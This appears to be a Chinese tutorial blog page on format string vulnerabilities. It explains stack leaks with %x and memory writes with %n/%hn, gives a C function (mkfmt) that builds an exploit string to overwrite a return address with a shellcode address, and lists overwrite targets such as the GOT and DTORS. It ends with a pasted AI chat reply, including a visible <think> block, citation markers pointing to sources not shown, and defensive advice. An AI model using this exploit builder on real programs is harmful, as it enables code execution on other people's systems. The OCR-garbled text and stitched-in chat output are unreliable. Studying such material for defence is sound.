格式化字符串漏洞

当printf系列函数的格式化串里包含用户提交的数据时,就有可能出现格式化串漏洞。 函数包括:
snprintf
vfprintf
vprintf
vsprintf
vsnprintf
除了这呰函数外,其他接受C风格格式符的函数也可能存在类似风险,例如wind0ws上的wprintf函数。攻击者可能提交许多格式符(而不提供对应的变量),这样的话,栈上就没有和格式符相对应的参数,因此,系统就会用栈上的其他数据代替这些参数,从而导致信息泄漏和执行任意代码。
如前文所述,必须以格式化串的形式传递printf函数,好让printf函数确定用什么变量代替相应的格式化串,以及用什么形式输出变量。
然而,如果我们不给格式化串(格式符)提供相应的变最,将会出现奇怪的事情。例如下面这个程序,它将用命令行的参数调用printf。 


按如下所示编译代码: cc fmC.c -o fmt 用如下的形式执行:
./fmt "%x %x %x %x"
将等同于在程序里用如下的形式调用printf:
printf( '%x %x %x %x");
上面的语句透露出一个重要的信息:我们提交了格式化串,却没有提供相应的代替字符串的 4个数字变最。有趣的是printf并没有报错,而是输出如下内容:
4015c98c 4001S26c bffff944 bffffSe8
口printf不知从什么地方找来了4个参数充数!事实上,这些数据来自栈。
乍看上去这似乎不是什么问题,然而,攻击者却可能利用它来获取栈上的数据。对栈本身来说这可能泄露栈上的敏感信息,如用户名、密码等。


n% 这个参数被视为指向整数的指针(或者整数变量,例如short,在这个参数之前输出 的宇符的数量将被保存到这个参数指向的地址里


如果满足下列条件,就可以利用格式化串漏洞执行任意代码。
我们能控制参数,并可以把输出的字符的数量写入内存的任意区域^
宽度格式符允许我们用任意的长度(当然可以为255个字符)填充输出因此,可以用选择的值改写单个字节.
重复上面步騵4次的话,就能改写内存中的任意48,也就是说,攻击者可以利用这个 方法改写内存地址。但是,如果把00写到内存地址中,可能会出问题,因为在C语言里00是终止符。然而,如果可以在它前面的地址写入28,那就冇可能规避这个问题。  
通常来说,我们可以猜测函数指针的地址(保存的返回地址、二进制文件的导入表、C++ vtable),因此,我们可以促成系统把提交的字符串当作代码来执行。
关于格式化串攻击,有几个常见的误区需要澄清^
它们不仅仅影响*nix。
它们不必非要以栈为基础。
栈保护机制对它们通常不起作用。
用静态代码分析工具通常可以检测它们。

在绝大多数*nix平台上,可以用直接参数访问来帮忙。 注意上面的输出,从找上弹出的第三个值。
试一下下面这条命令:"%3\$x"


但是如果打印很久的数据会出错%hn能够解决这个阏题. 它只写半个整型,两个字节,那么就可以把shellcode地址分成两个部分.依次写入到 要覆盖的地址以及这个地址加2的位置.这样要打印的长度将减少很多.


报据上面调整的结果,可以构造一个所示的结构的格式串来实现攻击.,
| retloc+2 |retloc | % shaddrh-8 x| % flag $hn丨% shaddrl-shaddrh x丨 %flag+1 $hn丨

构造攻击格式串
由用shellcode的地址的半字构造打印长度來写入返回地址,那么必须注意要把小一些 的半字放在前曲,这样才能顺利覆盖返回地址。用于构建这种格式串的函数流程大致如下
void mkfmt(char *fmtstr, u_long retloc, u_long shaddr, int align, int flag)
{
    int i;
    unsigned int valh;
    unsigned int vall;
    unsigned int b0 = (retloc >> 24) & 0xff;
    unsigned int b1 = (retloc >> 16) & 0xff;
    unsigned int b2 = (retloc >>  8) & 0xff;
    unsigned int b3 = (retloc      ) & 0xff;




    /* detailing the value */
    valh = (shaddr >> 16) & 0xffff; //top
    vall = shaddr & 0xffff;         //bottom
/*
    for (i = 0; i < align; i++) {
        *fmtstr++ = 0x41;
    }
*/
    /* let's build */
    if (valh < vall) {
        sprintf(fmtstr,
                "%c%c%c%c"           /* high address */
                "%c%c%c%c"           /* low address */
                "%%%uc"              /* set the value for the first %hn */
                "%%%d$hn"            /* the %hn for the high part */
                "%%%uc"              /* set the value for the second %hn */
                "%%%d$hn"            /* the %hn for the low part */
                ,
                b3+2, b2, b1, b0,    /* high address */
                b3, b2, b1, b0,      /* low address */
                valh-8,              /* set the value for the first %hn */
                flag,                /* the %hn for the high part */
                vall-valh,           /* set the value for the second %hn */
                flag+1               /* the %hn for the low part */
               );
    } else {
        sprintf(fmtstr,
                "%c%c%c%c"           /* high address */
                "%c%c%c%c"           /* low address */
                "%%%uc"              /* set the value for the first %hn */
                "%%%d$hn"            /* the %hn for the high part */
                "%%%uc"              /* set the value for the second %hn */
                "%%%d$hn"            /* the %hn for the low part */
                ,                                                             
                b3+2, b2, b1, b0,    /* high address */
                b3, b2, b1, b0,      /* low address */
                vall-8,              /* set the value for the first %hn */
                flag+1,              /* the %hn for the high part */
                valh-vall,           /* set the value for the second %hn */
                flag                 /* the %hn for the low part */
               );
    }


//*
    for (i = 0; i < align; i++) {
        strcat(fmtstr, "A");
    }
//*/
}


示例的程序有些特別,由于格式串并不是复制过去的,所以对齐字符串要放在格式串的后面。格式串漏洞利用的要素是以下几点:
覆盖获得控制的地址
printf参数地址到自定义的格式串数据地址直接的距离
格式串数据没有4字节对齐的偏移
Shellcode 地址
可以用来覆盖获得控制的地址有以下几种:
全局偏移表(GOT)(动态重定位对函数,如果某些人使用的二进制文件与你的一样,那 就太好了,比如rpm:
析构函数(DTORS)表(函数在退出前将调用析构函数);
C函数库钩子,
atexit结构;
所有其他的函数指针,例如C ++ vtable、冋调函数等;
windows里默认未处理的异常处理程序,它几乎总是在同一地址
堆栈中的函数返回地址
覆盖 dl_lookup_versioned_symbol
其实搏盖dl_lookup_versioned_symbol也是覆盖GOT技术.只不过是ld的GOT。
详细的dtors的利用程序可以参考《网络渗透技术》347-352页













<think>好的,我现在需要帮助用户总结格式化字符串漏洞的相关知识,包括经验、体会和安全防护措施。首先,我得回忆一下用户提供的引用内容,看看有哪些关键点需要涵盖。 根据用户提供的引用,格式化字符串漏洞主要涉及不安全的函数使用,比如printf、sprintf等,如果用户输入直接作为格式化字符串参数,就会导致漏洞。引用里提到,攻击者可以利用这个漏洞读取内存或执行任意代码[^2][^3][^4]。防护措施方面,引用[1]提到使用安全的函数和输入验证是关键。另外,引用[4]还提到通过泄露地址实现攻击的例子,所以防护需要包括地址随机化(ASLR)等措施。 接下来,我需要整理这些信息,分点说明漏洞原理、攻击方式、经验总结和防护措施。可能需要先解释什么是格式化字符串漏洞,然后讲攻击手段,再总结防护方法。同时,用户要求使用中文回答,并且按照系统级指令处理数学公式,不过这个问题可能涉及较少数学内容,主要关注代码和内存相关的内容。 还要注意生成相关问题,用户示例中有三个问题,我需要根据内容提出相关问题,比如漏洞原理、防护方法、实际案例等。确保问题与总结的内容相关,并且能够帮助用户进一步学习。 需要检查是否遗漏了引用中的要点,比如输入验证、安全函数的使用(如snprintf代替sprintf)、编译器保护机制(如-FORTIFY_SOURCE)[^1][^4]。另外,引用[3]提到格式化字符串的定义,这部分可以放在原理部分解释。 最后,确保回答结构清晰,分点明确,语言通顺,符合用户的要求。同时,正确标注引用,比如在提到输入验证时引用[1],提到攻击示例时引用[2][4]。</think>### 格式化字符串漏洞总结 #### 1. **漏洞原理** 格式化字符串漏洞源于程序中未正确控制格式化字符串参数,允许攻击者控制或注入格式化规定字符(如 `%s`、`%x`、`%n`)。常见于使用 `printf`、`sprintf` 等函数时,直接将用户输入作为格式化字符串参数,例如: ```c printf(user_input); // 危险!若 user_input 包含 %s 或 %n 等符号 ``` 攻击者可利用漏洞**读取内存**(如通过 `%x` 泄露数据)、**修改内存**(通过 `%n` 写入任意地址)或**执行任意代码**[^4]。 --- #### 2. **攻击方式与危害** - **信息泄露**:使用 `%s`、`%p` 等读取或全局偏移表(GOT)中的敏感数据,例如获取 `system` 函数地址[^4]。 - **内存篡改**:通过 `%n` 向指定地址写入数据,可能覆盖返回地址或函数指针。 - **代码执行**:结合内存泄露和写入操作,构造ROP链或劫持控制流[^2]。 --- #### 3. **经验总结与防护措施** **关键防护方法:** 1. **输入验证**:严格校验用户输入,禁止包含未经验证的格式化字符(如 `%`)。 2. **使用安全函数**:优先使用 `printf("%s", user_input)` 而非 `printf(user_input)`,避免直接传递用户输入作为格式化字符串。 3. **编译器保护**:启用 `-Wformat-security` 编译选项,检测不安全的格式化字符串用法;使用 `-D_FORTIFY_SOURCE=2` 强化缓冲区检查。 4. **内存保护机制**:开启地址随机化(ASLR)和保护(Stack Canary),增加攻击难度。 **实践案例:** - 在存在漏洞的函数中,通过 `%s` 泄露GOT表地址,结合 `system` 函数实现任意命令执行[^4]。 - 使用 `snprintf` 替代 `sprintf`,限制输出缓冲区大小,防止溢出。 --- #### 4. **体会与建议** - **代码审查重点**:检查所有使用格式化字符串的函数(如 `printf`、`fprintf`),确保参数可控。 - **自动化工具辅助**:利用静态分析工具(如Coverity)扫描潜在漏洞。 - **最小权限原则**:限制程序运行权限,降低漏洞利用后的影响范围。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值